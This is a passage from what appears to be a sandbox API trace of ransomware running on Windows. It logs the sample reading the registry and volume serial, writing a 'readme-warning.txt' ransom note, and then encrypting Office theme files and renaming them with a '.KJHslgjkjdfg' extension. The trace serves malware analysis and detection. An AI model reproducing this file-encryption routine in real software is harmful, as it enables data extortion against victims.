[0173.700] GetProcessHeap () returned 0x2ef0000 [0173.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0173.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.700] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0173.700] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.700] GetProcessHeap () returned 0x2ef0000 [0173.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.700] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0173.700] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.700] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0173.701] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0173.701] RegCloseKey (hKey=0x12c) returned 0x0 [0173.701] GetProcessHeap () returned 0x2ef0000 [0173.701] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0173.701] GetProcessHeap () returned 0x2ef0000 [0173.701] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.701] GetProcessHeap () returned 0x2ef0000 [0173.701] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.701] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.701] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0173.701] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.701] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0173.701] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.702] GetProcessHeap () returned 0x2ef0000 [0173.702] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.702] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0173.702] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0173.702] GetProcessHeap () returned 0x2ef0000 [0173.702] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0173.702] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\readme-warning.txt") returned 82 [0173.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.703] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.707] CloseHandle (hObject=0x12c) returned 1 [0173.707] GetProcessHeap () returned 0x2ef0000 [0173.707] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0173.707] GetProcessHeap () returned 0x2ef0000 [0173.707] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0173.707] GetProcessHeap () returned 0x2ef0000 [0173.707] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0173.707] GetProcessHeap () returned 0x2ef0000 [0173.707] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.707] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0173.708] GetProcessHeap () returned 0x2ef0000 [0173.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0173.708] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0173.708] GetProcessHeap () returned 0x2ef0000 [0173.708] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f425d0 [0173.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0173.709] GetProcessHeap () returned 0x2ef0000 [0173.709] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0173.709] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.709] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0173.709] GetProcessHeap () returned 0x2ef0000 [0173.709] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f10788 [0173.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.710] GetProcessHeap () returned 0x2ef0000 [0173.710] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.710] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.710] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.710] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0173.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.713] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.713] GetProcessHeap () returned 0x2ef0000 [0173.713] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0173.713] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0173.713] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.713] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0173.713] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.713] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.713] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.714] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.714] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.714] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.714] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.714] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe743, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xe743, lpOverlapped=0x0) returned 1 [0173.716] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe750, dwBufLen=0xe750 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe750) returned 1 [0173.717] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.717] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe750, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xe750, lpOverlapped=0x0) returned 1 [0173.717] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.717] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xe814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.717] SetEndOfFile (hFile=0x12c) returned 1 [0173.721] GetProcessHeap () returned 0x2ef0000 [0173.721] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0173.721] GetProcessHeap () returned 0x2ef0000 [0173.721] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.kjhslgjkjdfg")) returned 1 [0173.722] CloseHandle (hObject=0x12c) returned 1 [0173.722] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0173.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.723] GetProcessHeap () returned 0x2ef0000 [0173.723] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.724] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.724] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.724] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0173.726] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.726] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.726] GetProcessHeap () returned 0x2ef0000 [0173.726] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0173.726] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0173.726] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.726] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0173.726] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.726] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.727] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.727] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.727] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.727] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.727] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.727] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.727] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x215, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x215, lpOverlapped=0x0) returned 1 [0173.727] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x220, dwBufLen=0x220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x220) returned 1 [0173.727] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.727] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x220, lpOverlapped=0x0) returned 1 [0173.727] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.728] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.728] SetEndOfFile (hFile=0x12c) returned 1 [0173.767] GetProcessHeap () returned 0x2ef0000 [0173.767] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0173.767] GetProcessHeap () returned 0x2ef0000 [0173.767] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.kjhslgjkjdfg")) returned 1 [0173.807] CloseHandle (hObject=0x12c) returned 1 [0173.807] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.808] GetProcessHeap () returned 0x2ef0000 [0173.808] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.808] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.808] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.808] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0173.811] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.811] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.811] GetProcessHeap () returned 0x2ef0000 [0173.811] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.811] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.811] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.811] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.811] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.811] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.812] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.812] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.812] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.812] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.812] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.812] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.812] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x67b, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x67b, lpOverlapped=0x0) returned 1 [0173.812] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x680, dwBufLen=0x680 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x680) returned 1 [0173.813] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.813] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x680, lpOverlapped=0x0) returned 1 [0173.813] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.813] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.813] SetEndOfFile (hFile=0x12c) returned 1 [0173.816] GetProcessHeap () returned 0x2ef0000 [0173.816] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, 